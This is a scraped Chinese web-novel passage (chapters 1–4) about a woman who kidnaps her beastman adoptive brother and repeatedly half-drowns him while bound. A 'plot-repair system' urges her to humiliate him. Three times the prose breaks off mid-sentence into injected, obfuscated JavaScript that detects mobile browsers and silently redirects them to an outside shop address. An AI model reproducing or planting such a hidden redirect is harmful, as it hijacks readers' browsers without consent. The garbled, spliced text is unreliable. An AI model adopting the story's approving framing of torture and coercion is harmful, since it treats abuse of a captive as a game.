《不要欺负小猫咪[gb]》 1. 口口口 窗外下着雪,外窗台积了厚厚一层,白茫茫的。厚重的窗帘半遮半掩,房间昏暗沉闷,只有电视透着过分刺眼的光。 女孩没骨头似的靠坐在沙发上,松软的红色围巾几乎遮住她的半张脸,只露出双黑沉沉的眼珠盯着电视上的画面。她的声音因为隔着围巾显得有些模糊,带着种撒娇似的,松软又甜美的笑意。 和她说出口的话截然不同。 “嗯,已经到手了,一切顺利。剩下的,就看兄长能给我争取到多少时间了。” “我需要十天,兄长觉得自己能把他的失踪隐瞒多久?” 女孩说着,右手随意地晃着一个小小的白色瓶子。 “哗啦——” 瓶子里细小的药片发出声响,她忽然笑了下。 “兄长不相信我吗?这些年,妹妹什么时候让你失望过?” “想要得到最大的利益,就得拿出最大的赌注。兄长也很清楚吧,这件事要是成了,在绝对利益面前,无论投进去多少,冒多大风险,都是值得的。” 电视画面中,年轻的男性正抱起福利院里一个哭闹的弃婴,他的长发垂落,松松挽在脑后,露出发间柔软的猫耳,毛茸茸的,弯折着贴在头顶,更显得柔顺温和。 竟然是一只少见的折耳猫兽人。 “只是十天罢了。” 女孩一边心平气和地笑着,一边盯着电视里的那张脸,镜头拉得很近,清晰地勾勒着他低垂柔美的眼睫。 也不知道他做了什么,又或者有什么魔力,那个哭得快喘不上气的人类婴儿居然真就在他轻柔的晃动中停止了哭嚎,抽噎着把头埋进兽人的怀里,似乎还无意识地咬住了他胸口的衣服,眼泪口水浸湿了一片。 福利院的负责人有些慌乱地想要把孩子抱开,他却没有半点不快,只是轻轻摇头,含笑开口。 “哗啦——” 电视没有声音,但她知道他说了什么。 ——“嘘,宝宝就快睡着了。” 真是……让人很讨厌的一句话。 她这样想着,却咧开嘴,眉眼都弯了起来。电视里的画面停止,短暂的卡顿后,又开始重复播放这个小小的片段,美丽的猫耳男人再次俯身抱起婴儿,每个细节都仿佛精心雕琢的工艺品。 她说:“十天,我让那只被季家费尽心思打磨出来,想要捧到最高处俯视我们所有人的小猫咪,从此对我们摇尾乞怜,言听计从。” “兄长,这样的可能性,这样的胜局,你舍得不下注吗?” 电话那头不再传出声音,不一会儿,通话被挂断了。女孩听着忙音,轻笑一声扔开手机,单手用拇指拨开药瓶的盖子,往掌心里倒了一颗含进嘴里,将药瓶扔进茶几的抽屉。 苦涩的药在口中化开,药效渐渐上来,半分钟后,她动作很慢却非常轻盈地从沙发上站起来,勾着嘴角哼着轻飘飘的歌,正要转身。 突然,她的身体没有预兆地一晃,伴随着一个莫名响起的,陌生无机质的声音。那声音找不到来源,怪异得仿佛是把音响直接装进了她的脑子里。 【叮,宿主意识载入。】 【32%……65%……88%……】 【同步率正常,信息载入……宿主信息确认。】 【宿主姓名:纪宁馨。品种:普通人类。】 【目标信息确认,目标姓名:季迟。品种:折耳布偶品系猫咪。任务开始加载……初始任务加载完毕,剧情完整度17%,剧情修复进度0%……】 纪宁馨停住动作,没有惊慌也没有四下张望,她不相信鬼神之类的东西,第一时间怀疑是这药又出了什么副作用。 这回的副作用倒是挺新鲜。 不过她也习惯了这种光怪陆离,只在听到“季迟”这个名字时,眼睛很轻地眯了一下。脑子里的声音还在继续,伴随着细小的,断断续续的电流声,纪宁馨干脆重新在沙发上坐下,放松地靠着,想知道这个莫名其妙的副作用会给她加载出什么东西来。 等到它终于把所有乱七八糟的都“加载”好,一个白色的光团出现在纪宁馨眼前,欢快地晃了晃,顶上冒出一簇小小的白烟花。 【宿主您好,欢迎绑定“口口口世界剧情修复系统”,我是您的贴身系统1007,从现在起,1007将辅助您完成要求任务,如果宿主没有疑问,1007将开始载入剧情。】 纪宁馨没有立刻回答,目光有些飘忽。过了好一会儿,等到光团强自镇定,但难掩不安地询问【宿主,您有听到我说话吗?意识载入同步率没问题啊……】,她才含着笑开口,语速很慢,字与字之间黏糊糊地勾缠着,尾音拉长。 “1007,对吗?” 【嗯嗯!】光团晃了下,声音再次活泼,【宿主,您有什么想问的吗?】 它听上去非常期待,带着种初出茅庐,迫不及待想要炫耀自己所知信息的急切。 于是纪宁馨真心实意地好奇道:“口口口是什么?” 1007:【?】 1007:【就是口口口啊。】 1007:【……】 1007:【等等,我明白了,是因为检测到违规词汇库更新,口口自动替换防控程序执行。】 1007:【宿主别急,我尝试用其他意思相近的词语解释一下,口口,口口口,口,口口口口……】 纪宁馨一下子笑出了声,肩膀轻飘飘地抖。 光团尴尬地蔫了,连光都暗淡了些,从白团子变成了个灰团子。它大概死机了一会儿,破罐子破摔地跳过这个问题,重新打起精神略带心虚地直接开始说明剧情。 它说,这个世界的本质是一本书。 书的分类标签是兽人,猎奇,口口,口口口口,高口,口口…… 它一共说了9个词,被全口掉了5个,半口掉了2个,根据勉强放出来的几个字,纪宁馨大概猜到了口口里是什么类型的内容,不禁觉得好笑。 可见她平日里脑子有多不干净,连幻觉都充满颜色。 总之,在这本看上去不怎么健康的书里,纪宁馨是一个恶毒的反派,而她的任务目标季迟,是这本书的主人公之一。 季迟是个孤儿,父母不详,从有记忆开始就生活在向日葵福利院里,穷人的孩子早当家,季迟从小缺少来自长辈的关爱,但却也因此变得早熟懂事,聪明好学,如果按寻常发展,他应该一路成绩优异,考上一个好大学,过上虽然未必一帆风顺,却也能够平平淡淡的生活。 可偏偏,他的生命里出现了两个意外。 一个,是他在十六岁时,竟然毫无预兆地长出了猫耳和尾巴。 这个世界的居民分为人类和兽人,兽人均为猫科。在这里,猫是绝对尊贵的象征,联盟执掌政.治、军.事、法制等一切权力的议院九席中,有六席属于兽人豪族,仅有三席,且是最末等的三席属于人类家族。猫的数量虽然不多,却凭借着普遍优于常人的智商和身体机能,以及种族之间略带排外性的团结和对人类长期潜移默化的打压政策,成为了整个联盟的实际掌控者。 季迟的突然兽化,让他拥有了进入兽人圈层的通行证。在离开福利院后,季迟被议院首席季氏收养,并开始以慈善家的身份出现在公众视野中,成为了缓和平民与豪族,人类和猫之间矛盾的一针麻醉剂。 近些年来,人类兽化的事情几乎已经不再发生,只有纯血兽人能诞育兽人后代,财富和权力不断向少数人集中后,极端人类主义渐渐开始在占据世界绝大部分人口的人类中扩散,而季迟的出现则打破了这个僵局。 他是普通人类一朝飞上枝头的向往,他是兽人向世界展示仁慈和博爱的活招牌,他温柔,纯洁,淡泊名利,兽人接受了他成为自己的同类,人类则期盼着他能够坐上首席的位置,为世界带来更加平等的未来。 他是人间理想,是众望所归,他的一生本该从此一路坦途,繁花锦簇。 但另一个意外打破了这一切。 那个意外,名叫纪宁馨。 在季迟三四岁时,刚出生的纪宁馨被父母遗弃,后被送到向日葵福利院。她是个非常高需求的婴儿,无时无刻不要人哄着。福利院的大人们都很忙,对待麻烦的孩子就总是敷衍些,季迟见不得她哭得喘不上气几乎要死去的样子,就磕磕绊绊地学着泡奶粉和换尿布,用孩子尚且没什么力气的双手把她抱在怀里,晃来晃去地哼着不成调的摇篮曲,直到她在他怀里睡着。 后来,大概看他哄得好,这个孩子就成了他的责任。 可以说,纪宁馨是季迟用奶粉和米糊一口一口喂养大的,她会说的第一句话是“哥哥”,发生任何事第一个看向的人是哥哥,闯下祸永远会站出来给她背锅的人是哥哥,口口声声最最喜欢的人是哥哥。他们就这样相依为命,像是两棵缠绕着一同往上生长的树,哪怕有一天终究各自走向自己的道路,根也是永远缠在一起,无法分开的。 【但是宿主,你却因为目标发生兽化从此成为高贵物种,而自己只是个普通人类,心生嫉妒甚至丧心病狂,在失踪数年后突然像噩梦一样出现在目标面前,仗着目标对你的宽容愧疚对他为所欲为,做尽了一切伤人的事情!最后恶人恶报,被终于奋起反抗,继承了季氏的目标关进精神病院!】1007越说,身上的光芒越亮,几乎给人一种义愤填膺的感觉。 纪宁馨一直安静听着,这会儿才轻飘飘地笑道:“啊,我这么坏啊。” 居然气得这小光团连“您”都不叫了。 【对呀对呀!宿主不仅羞辱目标的人格,虐待他的身体,强迫他和你发生奇奇怪怪的关系,还差点剪掉他的猫咪耳朵,甚至逼他在重要的宴会上戴着一堆口口在众人面前难堪,而且你还口口口口他口口口……】 在一系列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514893|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “口口”后,1007大概意识到后面的话说了也全是口,终于安静下来顺了口气:【咳,反正,剧情大概就是这样。现在这本书因为技术错误和敏感词新规,大量内容出现缺失,您需要做的,就是保证剧情按照原本的设定顺利开展,将剧情节点之间的空缺补完,让书重新入库,否则这个世界就会因为剧情漏洞而崩塌,你们所有人都会跟着世界一起毁灭的。】 1007说完,看似淡定实则紧张地看着纪宁馨。 它刚才太沉浸太激动,有些话说得不太客气,这会儿才开始害怕会不会惹到这位在剧情里非常可怕凶残的宿主,大气都不敢出一口。 也是冲动了,明明决定先不告诉宿主精神病院这个结局,不然万一宿主一怒之下不肯干了怎么办? 纪宁馨却完全没生气,依旧懒洋洋地靠着沙发,眼睛弯着,半张脸陷在毛茸茸的围巾里,瓮声瓮气地说:“所以你是为了拯救世界来的啊,真了不起。” 1007呆住,没想到她居然是这个反应。 怎么……一点也不凶残啊? 它不经夸,浑身光都柔软了下来,甚至不好意思地磕巴了一下,染上粉红色:【也……也没有那么了不起啦。】 “很了不起哦,这整个世界的人都该感谢你,如果不是我们了不起的1007,世界可就要毁灭了呢。”纪宁馨伸出一根食指揉了揉光团,好听话不要钱一样地往外撒。毕竟药物的副作用本来就没什么道理可言,相较于从前那些更加奇形怪状的幻觉,这次的已经算是比较有逻辑,并且有趣的了。 1007被摸得舒服,又听见她这么说,光团越来越红:【真……真的吗?】 纪宁馨笑眯眯地,漫不经心地哄它:“真的呀,所以我也不能拖你的后腿,对吧?请多指教啊1007,以后我们就要一起拯救世界了。” 【可是……宿主,你不怕被关进精神病院吗?】 纪宁馨对此非常豁达:“因果报应,而且要是为了拯救世界,那也没有办法呀。” 1007大为感动,眼泪差点啪嗒掉下来。它还是个刚出厂的小系统,听多了系统前辈们和魔丸宿主斗智斗勇身心俱疲的故事,第一次执行任务就拿到了超高难度的恶人剧本,原本胆战心惊,结果一出新手村就被温柔对待了……这哪里是恶人,明明是天使! 1007只觉得整个光团都酥酥麻麻的,毛茸茸地在纪宁馨掌心上滚了一圈。它这会儿严重怀疑系统资料有误,它家亲切温柔的宿主怎么可能主动干出剧情里那些残忍的事情?肯定是哪里出了问题!但事已至此1007也只能硬着头皮,心里琢磨着怎样保证最低剧情完整度。 【宿主也不用紧张,只需要跟着我的步骤来,切记一定不要心软就可以了!】毕竟这位宿主看着就很心软! 但没关系,这种情况它在前辈那500M的工作笔记里看到过好多次,不知道是不是有什么诅咒,这种有伤害侮辱目标需求的任务就没几个宿主会真完成,到时候肯定是用各种方法规避混个及格…… 1007回忆着前辈的经验,干劲十足:【宿主,事不宜迟,很快就要到第一个剧情点了!不过现在目标可是联盟的白月光,宿主也有好多年没和他接触过了,我们得先想办法接近这轮天边明月……】 它话没说完,纪宁馨突然将眼睛弯得更深些,听到了什么笑话似的伸手指向电视,轻柔甜蜜的语气和她说要一起拯救世界时没有半点差别:“哦,天边明月啊?你说的是这个……” 1007一愣,顺着她指的方向转了个圈,看到电视屏幕上依旧在循环播放的片段,猫咪熟练地抱着婴儿,柔美的面孔仿佛蒙着皎洁月光。 正是目标季迟。 宿主已经在关注目标了吗? 不知道为什么,1007感觉到一丝异样,纪宁馨却“啪”的打开了房间的主灯,在骤然亮起的刺眼光线下又朝另一个方向一指,笑盈盈问道:“还是那个呀?” 1007:【!!!】 它刚才注意力全在纪宁馨身上,这时才发觉,房间悄无声息的黑暗角落居然还有一个人,整个光团吓得抖了抖。 那人蜷缩在墙角,可以看出手脚都被捆着,身上的衣服满是裂口,露出下面遍布擦伤的皮肤,尾巴无力地垂在地上,毛茸茸的耳朵低垂,原本绸缎一般的长发此刻混杂着草屑泥土,乱蓬蓬地遮住了脸,呼吸轻到看不出胸口的起伏,让人甚至第一时间无法确定他是否还活着,和电视里那只精致完美的猫咪完全不同…… 但只是一瞬间,1007确认了这个人的身份,光团发出尖锐的爆鸣。 【宿主宿主宿主!!!】1007尖叫,惊恐地看向它“温柔亲切”的宿主,【怎么回事?!啊啊啊目标为什么会在这里???】 “哦。”纪宁馨捧着脸,依旧露出那双弯弯的笑眼,温柔亲切地回答它,“我抓的啊。” 2. 哥哥 你抓的? 系统目瞪口呆,“你你你”“我我我”结巴了半天,才磕磕绊绊地问出一句:【宿……宿主,您抓他干嘛?】 “拯救世界啊。”纪宁馨摇摇晃晃地站起身走过去,笑道,“我们不是说好的吗?” 1007:【……啊?】 纪宁馨提醒:“我要羞辱哥哥的人格,虐待哥哥的身体,嗯……还有,逼迫哥哥和我发生奇奇怪怪的关系,最后我还要因此被关进精神病院……我没记错对吧?” 1007:虽……虽然是这样没错。 但当前的现状还是让1007整个团都抖了抖。 纪宁馨在墙角的人身边蹲下,伸手拨了下对方乱糟糟的头发,昏迷的猫咪似乎感觉到什么,竟然在无意识中很轻地将头往纪宁馨的手贴了贴,无法立直的折耳里有微微凸起的软骨,绒毛柔软,蹭在她的掌心。 她动作一顿,目光很深,浸满了笑:“毕竟如果我不是这样一个坏人,世界就要毁灭了啊。我可是付出了那么大的牺牲……啊呀,那现在全世界是不是应该开始讨好我呀?所有人都该对我跪地求饶,满足我的任何要求,哭着求着让我虐待哥哥,不管他逃到哪儿,都争先恐后地把他抓起来送到我手里,否则大家就要一起死光光?” 1007:……好像……很有道理…… 它半天没憋出一句话,只好颤巍巍说:【宿……宿主,我的存在和任务的事情是机密……不能往外说的……】 “好吧。”纪宁馨可惜道,也不为难它,转头甜甜蜜蜜地对它笑,“所以1007,现在接近哥哥这件事已经完成了,我们下一个步骤该做什么?” 1007:【……】 它主机冒烟,哗啦啦地开始翻原文,但现在还没到第一个任务点,原文只有大片的空白和马赛克,1007有些心虚地看向宿主,又看向目标。 目标的脸青白一片,双眼紧闭。他穿得实在单薄,只有件破破烂烂的薄衬衫,虽然室内温度没有室外那么低,但毕竟是个寒天雪地的冬日,要是这样放在墙角扔一晚上,明天早上宿主就该给目标收尸了,还是得放到床上去盖上被子…… 纪宁馨见小光团一闪一闪,似乎在纠结什么,主动提议:“如果暂时没有任务要求,我就自由行动咯?” 1007顿时紧张起来:【宿……宿主,你想干什么?】 “总不能就这么放在这里一晚上,好冷的。”纪宁馨露出有点苦恼的表情,叹气道,“要是我能抱得动哥哥就好了……” 说着,就伸手抓住他手臂,把他往后用力拖了几步,弯腰喘着气。 1007没想到宿主居然和自己是一个想法,宿主这是在关心目标诶!宿主还想抱目标!还怕目标冷! 虽然心软明明是所有宿主的大忌,但1007却莫名其妙松了口气。 纪宁馨这会儿没顾上关注1007,她身体太差了,就刚刚这么点运动量,额头上就冒了点虚汗,眼前漫上五光十色的雪花,耳朵也嗡嗡的。她喘匀气,再次朝昏迷的兽人伸出手,手臂却突然感觉到一阵轻微的麻痒——那个小光团贴在了她的右手腕上,柔和的白光翕动着臌胀。 【宿主宿主,我给您上了个buff,您现在能够抱得动目标啦!】 纪宁馨失笑,但也没多说什么,从善如流地改变动作,从原本的抓着手臂拖动改成公主抱的姿势。 一个药物产生的幻觉而已。 开开玩笑也就罢了,怎么可能真的改变她的身体状况。 不过反正有地毯,也摔不疼。纪宁馨想着,暗暗挪动身体重心,做好和哥哥摔作一团的准备。 但她只稍稍用力,居然真的抱着季迟,稳稳地站了起来。 起身的瞬间,纪宁馨始终懒懒散散半垂着的睫毛骤然抬起,不到半秒就恢复了原本的样子,半遮半掩的眼帘下,眼珠深黑一片。几秒后,她掩在围巾后的嘴唇弯起,吐出松软又甜蜜的夸奖。 “啊,好厉害啊,怎么做到的?” 【嘿嘿,这是最简单的啦,就是暂时性地提高一点肌肉力量。】1007不好意思地说,【我能做的事情可多啦,我可是最新一代的辅助系统,不过太影响世界规则的事情我不能做哦……等等宿主,卧室不是往这边走的吧……】 纪宁馨脚步没停,也没有改变方向,目光落在怀中人双目紧闭的脸上。 哥哥一动不动,没有意识地靠在她的胸口,软得像一滩泥,但偏偏又瘦得很,这么抱着,单薄的衣服下能感觉到嶙峋支棱的骨头。季迟是折耳猫,因此他的猫耳紧贴着头骨,并不明显,在这个角度下几乎能够完全隐没在头发里,那张脸褪去那些刻意打上的柔光和滤镜,反倒更像是她记忆中的样子。 人类的样子,哥哥的样子,清瘦,苍白,像是冬日的雪,连嘴唇都没什么颜色,让人想要用什么用力摩擦,沁出血来。 “1007。”纪宁馨突然开口,“你刚才说,剧情里,我仗着哥哥对我的宽容愧疚对他为所欲为,对吗?” 【啊?对。】1007不明所以,但现在它更关心另一件事,【宿主,您到底要把目标抱哪儿去?那边好像是……】 纪宁馨用膝盖顶开面前的门,流水的声音传来。 是一间浴室,浴缸里的水已经快要放满了。纪宁馨往前走,声音在水汽氤氲的空间里有轻微的混响:“那你有没有想过,哥哥为什么要对我愧疚?按照你说的,他养大我,关爱我,是全世界对我最好的人,从来都只有我对不起他,不是吗?” 1007愣住了。 它完全没想过这个问题,毕竟这只是简介中一笔带过的内容,谁都不会去纠结这样的字眼。 【呃……】1007犹豫了一下,【可能是觉得,宿主会变成那个样子,是他没照顾好您?宿主,您现在是要给目标洗澡吗?目标身上的伤不适合碰水哦……】 纪宁馨就笑了下,轻飘飘地松开手。 哗啦一声,季迟直接掉进盛满水的巨大浴缸中,因为昏迷,他几乎是直接没声没息地沉到了底部,十几秒之后才因为身体的求生本能剧烈咳呛挣扎起来,但他的双手双脚甚至还被绑着,无论怎么挣扎也只是在浴缸底部扑腾,动作越来越迟缓。 【!!!】1007呆住,再次尖叫出声,【宿主!!!目标要淹死了!!!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514894|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纪宁馨坐在浴缸边,伸手拂过因为挣扎不断满溢的水面,觉得这像是海面翻涌的浪潮。一直到水面几乎再次平静下来,水底的人快要没了动静,她才伸手抓着那把海藻似的长发,将季迟的脸拉出水面。 “咳……咳咳咳……呕咳……” 温热的水从季迟的口鼻呛出来,他被硬生生呛醒了,尾巴僵直绷紧,眼睛半睁着,瞳孔散大肌肉紧绷,整个人都处在溺水后的应激中,一张脸白得几乎透明,微张的双唇间能隐约看见颤动的舌尖。 “咳咳……谁”虚弱的兽人发出嘶哑的声音,无力地试图扭动头挣动,“是谁……咳咳,为什么……好黑……” 说话时,他的瞳孔始终保持在散大状态,目光没有任何焦点,像蒙着层雾。他自己似乎也意识到了什么,声音一顿,眼睛微微睁大,扇子似的眼睫很快地颤抖了下。 他看不见。 又一个意料之外的情况让1007彻底蒙了,问号塞满了小小的主机。剧情介绍里没说男主瞎了啊?所以这是怎么回事?这还能好吗?前辈工作笔记里有没有出现过类似情况来着? 没等1007从不断刷新的想法中抓出条可以实施的,剧情任务点的提示标突然亮了,意味着第一个需要补充的剧情节点出现。 【宿主!】1007顿时顾不上别的,急匆匆地翻出剧情内容,把空白段前需要宿主完成的固定台词标黄,【这是这个剧情点的台词,您只要把这句话读出来,然后再随便羞辱他一下,让他感觉到痛苦愧疚,情绪浓度达标并承诺您可以对他做任何事情,我这边绿灯亮了这个节点就算通过了。】 说着,1007正准备把台词打在自家宿主面前,纪宁馨却已经抓着季迟的头发,笑盈盈地将他重新按回水里。 “呜……” 猫咪只发出一道短暂的气音,他挣扎的力度更弱了些,最后被纪宁馨提起来时已经浑身痉挛。 但这次他反倒冷静下来,尽力抬头远离水面,控制着自己的本能。 “咳,住……请住手。无论你有什么目的,想要钱还是和季氏有仇怨,你现在对我做的事情没有任何意义……从我失踪开始季氏的私兵肯定已经开始搜寻,我真出了事,他们不会放过你……现在,咳咳,你还逃得掉。”他语速很快,微弱的声音几乎称得上镇静,“我眼睛看不见,不知道你的身份,也什么都不会追究,停手,离开这里吧。” 不卑不亢,条理清晰。 倒是被养得不错。 纪宁馨听完他说的话,微微一笑,毫不犹豫地再次将他按下去。 1007:【宿……宿主……】 1007吓得不敢动。 这样几次后,季迟的身体几乎完全虚软,没有焦点的眼睛徒劳睁大,牙齿打颤,他再没法口齿伶俐地谈判,只能发出混沌的,细若游丝的声音。 “不……停下……我……不能死,还不能……” 像是在不停地催眠自己。 但这次,他没有等到呛水的痛苦,那只不断抓着他的头发,将他往下按去的手轻柔地抚过他的脸颊,仿佛抚摸珍贵的瓷器。 “哥哥。” 3. 伤疤 “哥哥。” 季迟猛的怔住了。 那双空洞的眼睛凝固,随即散大的,蒙着些许白翳的瞳仁剧烈颤动起来,让人怀疑他的身体里是不是有什么突然炸开,以至于灵魂都被炸成了碎片。 纪宁馨又叫了一声,声音比之前还要更加甜腻轻柔,两个字咬在舌尖,仿佛咬破了一枚饱满的浆果,溢出蜜汁。 “哥哥。” 毫无预兆地,两颗眼泪从季迟的眼眶里砸下来,被纪宁馨伸手接住。 真烫。 像是要把人烫伤一样。 纪宁馨弯起眼睛,俯身解开季迟手腕上绑着的绳子,握着他僵硬的右手顺到身前,轻轻贴住自己的脸,黏糊糊地笑道:“好久不见,哥哥。我跨过死亡和地狱,终于回来找你了。” 1007听到“叮”的一声,是台词完成的讯息,它看向自己刚刚标黄的台词。 一字不差。 宿主明明没有看,但确实是,一字不差。 1007骤然收声,不再打扰宿主发挥,专注地盯着任务进度。短暂的延迟后,那块需要补充的空白位置开始顺畅地被填充上一个个方块字。 季迟的手在发抖,他完全地安静下来,脸上流溢出一种惶然的疼痛。许久,他才把另一只手也抬起来,摸索着用两只手捧住纪宁馨的脸,拇指一寸寸抚摸过她脸上的轮廓,从弯弯的眉毛到纤细的鼻梁。 他好像突然对自己当前的处境,对不断呛水濒死的痛苦,对莫名其妙失明的眼睛,甚至对不久前,就是这只手在不断将他压进水里的事实都全不在乎了。他满心只有眼前这个无法看见的人,只想要一点一点把这个轮廓刻进大脑里。 “是不是和以前长得不太一样了?”纪宁馨任由他摸着,撒娇似的说,“我长大了呀,哥哥。” 这句话让季迟的手又是一颤,他终于从混沌里找回了一些思考能力,嘴唇张合,用气音颤抖着唤道。 “小……宝?” 就像很久以前,尚且还是普通人类的,年幼的季迟单膝跪在福利院的草坪上,张开双臂,笑着看正在蹒跚学步的纪宁馨跌跌撞撞扑向自己,于是一把把她捞在怀里,双手捧着她的脸,用拇指擦去她脸上的草叶灰尘,柔柔地叫一声“小宝”。 “小宝真厉害。”他总会这样说,“我们小宝无所不能。” 纪宁馨回忆起这段往事,抬眼笑了,轻声应道:“嗯,是我哦。” “你……回来了?……回来了……”季迟喃喃,声音几不可闻,“我的……小宝……” “嗯。”纪宁馨单手解开自己脖子上的围巾,脱下外套,解开衬衣的领扣,抬脚踏进浴缸,已经满了的温水再次溢出,“哥哥,我回来了,这次就不再走了。” 她的手撑在季迟的腹部,攀着他的身体蛇一样一寸寸爬上去,季迟立刻本能地张开双臂想要抱住自己的妹妹,又在触碰的瞬间往后缩了缩,好像这是曾从他身上切掉的一部分,他明明那么想再次塞回身体里,却近乡情怯般,越靠近就越疼痛。 掌心下的心跳声隆隆震响,纪宁馨轻笑出声——哥哥的尾巴不知道什么时候勾住了她的小腿,末梢那截柔软的骨头还在无意识中一下下地蹭着。 她讨厌这条尾巴,但猫咪的尾巴有时候比它的主人坦诚。 纪宁馨抓住他往后缩的手:“哥哥躲什么?要是哥哥不敢相信,或是认不出我的脸了,不如用另一个地方确认吧……” 说着拉开自己的领口,将他的手按在自己身上。 一瞬间,那手指仿佛被烫到一样,1007也怔住,差点又发出一声尖叫。 纪宁馨笑得更甜了。 她的左肩,靠近颈动脉的位置,季迟颤抖的指尖下,一大片凹凸不平的陈年瘢痕盘踞在湿漉漉的皮肤上,像是被什么野兽用力撕咬过,触目惊心。 季迟想要辨认,却根本不敢仔细抚摸,仿佛那里还在流血,稍微用力就会刺破弄痛。他徒劳地睁大眼睛,什么都看不见,只有一片漆黑。 纪宁馨歪着头,盯着季迟惊痛的表情:“这样,哥哥就能确认了吧?我是真的,不是假冒也不是幻觉……” 她用手指抹了下季迟眼角的泪痕:“哎,怎么哭了?哥哥可是高贵的兽人,高贵的猫,被所有人爱着的天边明月,至于哥哥变成猫要付出什么样的代价……区区一个没有父母,没有后盾,没人在意,所以死了也无所谓的普通人类而已,哥哥,你说对吧?” 季迟只嘴唇微微动了动:“……什么?” “哥哥忘记了吗?就算忘了,哥哥清醒之后,从来没有人告诉过哥哥当时的情景吗?”纪宁馨故作惊讶地“哎呀”了声,就乐不可支地笑起来,震得浴缸里的水微微晃动,“啊,也对,他们肯定都不愿意告诉你。毕竟哥哥第一次兽化的时候居然完全失去了理智,连自己一手养大的妹妹都能当成猎物撕咬,就像只真的野兽一样,高贵的猫咪怎么能有这样的污点?所以他们是怎么向哥哥解释我的消失的?说我离家出走?还是说我被好人家收养了?” 季迟的脸色变得更加惨白,牙齿细细战栗着,纪宁馨在他耳边轻轻吹了口气,那双弯折的猫耳敏感地往后撇去,湿漉漉的尾巴终于离开了她的小腿。 “这么多年,哥哥找过我吗?” 季迟张了张嘴,却什么都没能说出来,纪宁馨轻笑一声,声音中并不带嘲讽或是别的什么,只是个很甜很温柔的笑。 “哥哥每次叫我小宝,我都觉得自己是哥哥最爱的珍宝,我以为, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514895|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算哥哥疯了,没有理智了,也是绝对舍不得伤害我的……所以哪怕那天,哥哥抱着我,却突然长出了尖牙和利爪,突然血红着眼睛变得狰狞可怕,像要吃掉我一样把我抱得那么疼,我也不害怕。” 她轻飘飘地叙述着,柔软地拥抱他僵直的身体:“我会抱住哥哥,亲亲哥哥的脸,哥哥最喜欢小宝这么做……哥哥你看,小时候你给我讲的那些童话故事里都是这么说的,最爱的人给予拥抱亲吻,被施加魔法变成怪物的王子就会恢复成原本温柔的样子。” “然后他们幸福快乐地生活在一起,永远不会分开……” 纪宁馨手指一动,带着点指甲的指尖掐进季迟颈侧的一处擦伤里,刮开血痂,摸到血肉,原本已经止血的伤口再次溢出鲜红色,又被热水冲去,留下一片肿胀的粉白。 但季迟好像已经感觉不到疼了。 纪宁馨低下头,舔了舔伤口的血,腥甜。 “可是我给了哥哥拥抱和亲吻,而哥哥给我的回报,是这片伤疤啊。” 季迟终于因为舌尖的触感微微一颤,低低吐出一个气音。 “……不。” “觉得不可能吗?那时候啊,我就躺在地上,疼得发抖,不停地流血。没有人管我,我看见大人们全都围在哥哥身边,又哭又笑又激动,哥哥明明在发疯呢,哥哥嘴里还有我的血呢,他们的表情却好像哥哥才是什么绝无仅有的珍宝。” “……不是的……不是这样……” “是的哦。然后,终于失去意识的哥哥被送进最好的房间精心看护,终于失去意识的我像个垃圾一样,不……我就是哥哥的医疗垃圾啊,啪嗒,随手就这么被扔掉了。”纪宁馨咯咯笑着,她依恋地靠在他怀里,右手却捞起已经被水浸得湿透的鲜红围巾,一圈一圈围在他们两个的脖子上。 “不过我好像运气很好,居然不小心活了下来。救了我的人说,差一点点,只差那么一点点,哥哥就会咬断我的动脉和喉管。” 季迟浑身一震,整个人彻底失去了力气,仿佛身体已经不再属于他,只是一具没有灵魂的,惨白的塑像,唯独眼泪不断往下淌着。 围巾越缠越紧,像是要将两个人一起勒死。纪宁馨抱着季迟,露出越来越沉溺甜蜜的笑容,她大概突然困了,伴着温柔的水声在季迟怀里找了个舒服的位置,微微仰着头,梦呓一样喃喃。 “所以啊,哥哥……摸摸我的头,说小宝是最厉害的,小宝无所不能,居然连生死都跨过来了。” “然后,不管我对哥哥做什么,哥哥都不能拒绝。” 纪宁馨将哥哥的手放在自己的发顶,安然地合上眼睛,如同蜷缩在温暖的羊水中,于是因此感到幸福。 “因为,这是哥哥欠我的啊。” 4. 南瓜粥 一夜无梦,第二天,纪宁馨是在床上醒来的。 她身上换好了舒服宽松的睡衣,包裹在温暖松软的羽绒被里,昨晚换下来的衣服和围巾已经洗好烘干,整整齐齐地叠放在床尾。 太阳已经高高挂起,十点多了,但药效大概还没完全过去,纪宁馨感觉到自己的心脏跳得格外缓慢,血液供应不上,手指尖都是麻的,晕了好一阵才彻底清醒,听到光团在她耳边哇哩哇啦地大叫。 